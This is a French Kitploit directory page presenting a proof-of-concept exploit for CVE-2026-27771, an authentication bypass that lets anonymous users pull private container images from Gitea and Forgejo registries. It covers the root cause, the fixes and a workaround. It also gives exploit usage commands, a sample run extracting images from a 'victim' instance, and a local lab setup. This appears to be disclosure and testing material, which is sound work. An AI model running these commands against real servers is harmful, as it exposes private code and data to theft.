Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-27771 — CVE-2026-27771 - Exploit PoC de contournement d'authentification du registre de conteneurs Gitea/Forgejo - Récupérer des images de conteneurs privées sans authentification | Kitploit
Outils/GitHubGitHub/portbuster1337/cve-2026-27771
Authentification et AutorisationSécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubportbuster1337/cve-2026-27771

CVE-2026-27771

CVE-2026-27771 - Exploit PoC de contournement d'authentification du registre de conteneurs Gitea/Forgejo - Récupérer des images de conteneurs privées sans authentification

1863il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

CVE-2026-27771 — Contournement d'authentification du registre de conteneurs Gitea

CVSS : N/A (non divulgué)
Affecte : Gitea < 1.26.2 (toutes les versions avec registre de conteneurs OCI)
Affecte également : Forgejo (confirmé par NoScope)
Découvert par : NoScope
Corrigé dans : Gitea v1.26.2 (20 mai 2026)

Avertissement : Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisée uniquement. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs ne sont pas responsables de toute utilisation abusive de ce code. Testez uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite.

Résumé

Des attaquants distants non authentifiés peuvent extraire des images de conteneurs privées d'instances Gitea. Les points d'accès de la spécification OCI Distribution Spec (/v2/<nom>/manifests/<ref>, /v2/<nom>/blobs/<digest>) servent du contenu aux utilisateurs fantômes/anonymes (UserID : -1) sans vérifier la visibilité (privé/limité/public) du propriétaire du paquet de conteneurs.

NoScope a identifié environ 31 750+ instances exposées sur Internet dans plus de 30 pays. La faille est restée indétectée pendant environ 4 ans.

Cause racine

La vulnérabilité se trouve dans le middleware ReqContainerAccess (routers/api/packages/container/container.go) :

root@kitploit:~
// v1.25.4 — vulnérable
func ReqContainerAccess(ctx *context.Context) {
    if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
        apiUnauthorizedError(ctx)
    }
}

Celui-ci vérifie uniquement :

  1. ctx.Doer est-il nil ? (requête non authentifiée sans aucun jeton)
  2. RequireSignInViewStrict est-il activé ET l'utilisateur est-il un fantôme ?

Il ne vérifie pas le paramètre de visibilité du propriétaire du paquet (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate). Un utilisateur fantôme (UserID : -1) avec un champ d'action vide passe directement et peut accéder à n'importe quel paquet de conteneurs.

Le point d'accès /v2/token (fonction Authenticate) accorde des jetons anonymes sans identifiants lorsque RequireSignInViewStrict est false.

Correctif (PR #37290 + PR #37610)

Deux correctifs sont arrivés dans la version 1.26.2 :

  1. PR #37290 — En-tête Basic realm conditionnel dans apiUnauthorizedError — empêche l'envoi de Basic realm sur les instances publiques pour éviter de confondre les clients Docker, et vérification par propriétaire de la visibilité dans le défi d'authentification.

  2. PR #37610 — Étiquettes de visibilité des paquets + vérification des permissions source Composer — ajoute le modèle de permissions sous-jacent pour les paquets. Sans ces étiquettes, il n'y avait aucun moyen de différencier les paquets privés/internes/publics dans le chemin de vérification des permissions.

Contournement

root@kitploit:~
[service]
REQUIRE_SIGNIN_VIEW = true

Cela bloque tout accès anonyme (y compris les dépôts publics), ce qui ferme le chemin d'exploitation. Cependant, le modèle de permissions sous-jacent est toujours cassé — tout utilisateur authentifié peut encore accéder à tous les paquets. Mettez à niveau vers 1.26.2+ pour le vrai correctif.

Preuve de concept d'exploitation

Prérequis

  • Python 3.8+
  • Instance Gitea cible < 1.26.2 avec le registre de conteneurs OCI activé (v1.17.0+)

Utilisation

root@kitploit:~
python3 CVE-2026-27771-exploit.py scan <url>                       # Découvrir les dépôts/tags
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url>                        # Extraire toutes les images
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image     # Extraire un dépôt spécifique
python3 CVE-2026-27771-exploit.py pull <url> --dry-run               # Afficher ce qui serait extrait
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]

Exemples

root@kitploit:~
# Scanner une instance vulnérable
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com

# Extraire toutes les images de conteneurs privées (anonyme)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com

# Extraire avec un jeton d'accès personnel (pour les instances REQUIRE_SIGNIN_VIEW)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
  --token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser

# S'enregistrer automatiquement sur des instances sans captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
  --username myuser --password mypass --email [email protected]

Ce que fait l'exploit

  1. Pré-vol : Vérifie la version, le point d'accès /v2/, détecte la disponibilité de l'enregistrement, obtient un jeton anonyme ou échange un PAT contre un JWT.
  2. Énumération : Liste tous les dépôts de conteneurs via /v2/_catalog (renvoie TOUS les dépôts — publics et privés — en raison de la visibilité cassée).
  3. Extraction : Pour chaque dépôt, liste les tags, récupère le manifeste OCI, résout les images multi-architectures, télécharge toutes les couches de blobs.
  4. Extraction : Extrait automatiquement les couches tar compressées en gzip dans pulled_<repo>/extracted/.

Gestion des jetons

  • Anonyme : Si REQUIRE_SIGNIN_VIEW=false, obtient un jeton fantôme sans identifiants.
  • PAT (SHA1) : Si --token est une chaîne hexadécimale de 40 caractères, l'échange automatiquement contre un JWT OCI via Basic auth.
  • JWT : Si --token contient des points, l'utilise directement comme jeton Bearer.

Exemple de sortie

root@kitploit:~
[*] Pré-vol : https://victim.gitea.com
[+] Version (API) : 1.25.4
[+] /v2/ -> 401
[+] Jeton anonyme accordé (UserID : -1, Scope : '')
[+] /v2/_catalog -> 200 (3 dépôts)
[+] Vulnérable : True (require_signin=False)

[*] Dépôts de conteneurs : 3
    acme/production-app : tags=['latest', 'v2.1.0']
    acme/internal-db : tags=['latest', 'v1.3.0']
    team-xyz/secret-ml-model : tags=['v0.9.2']

  [acme/production-app]
  Tags : ['latest']
    └─ manifeste latest : multi-arch, digest=sha256:a1b2c3..., 12 blobs
      [1/12] sha256_a1b2c3... (28.4 MB)
      ...
      manifestes sauvegardés
      extrait 39862 fichiers dans pulled_acme_production-app/extracted

Reproduction

Configurer un environnement de test

root@kitploit:~
# 1. Déployer Gitea 1.25.x avec Docker (version vulnérable)
docker run -d --name gitea-vuln -p 3000:3000 \
  -e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
  gitea/gitea:1.25.4

# 2. Créer un utilisateur et pousser une image Docker privée
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest

# 3. Exécuter l'exploit (sans identifiants)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000

# L'exploit trouvera testuser/secret-app et téléchargera toutes les couches.
# Les fichiers seront dans pulled_testuser_secret-app/extracted/

Vérifier le correctif

root@kitploit:~
# Mettre à niveau vers la version patchée
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
  gitea/gitea:1.26.2

# Le jeton anonyme doit être refusé (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Attendu : "Version >= 1.26.2 (patchée)"

Références

  • https://noscope.com/blog/gitea-instances-exposing-private-container
  • https://blog.gitea.com/release-of-1.26.2/
  • https://github.com/go-gitea/gitea/pull/37290
  • https://github.com/go-gitea/gitea/pull/37610
  • https://github.com/go-gitea/gitea/security/advisories
Télécharger l’outil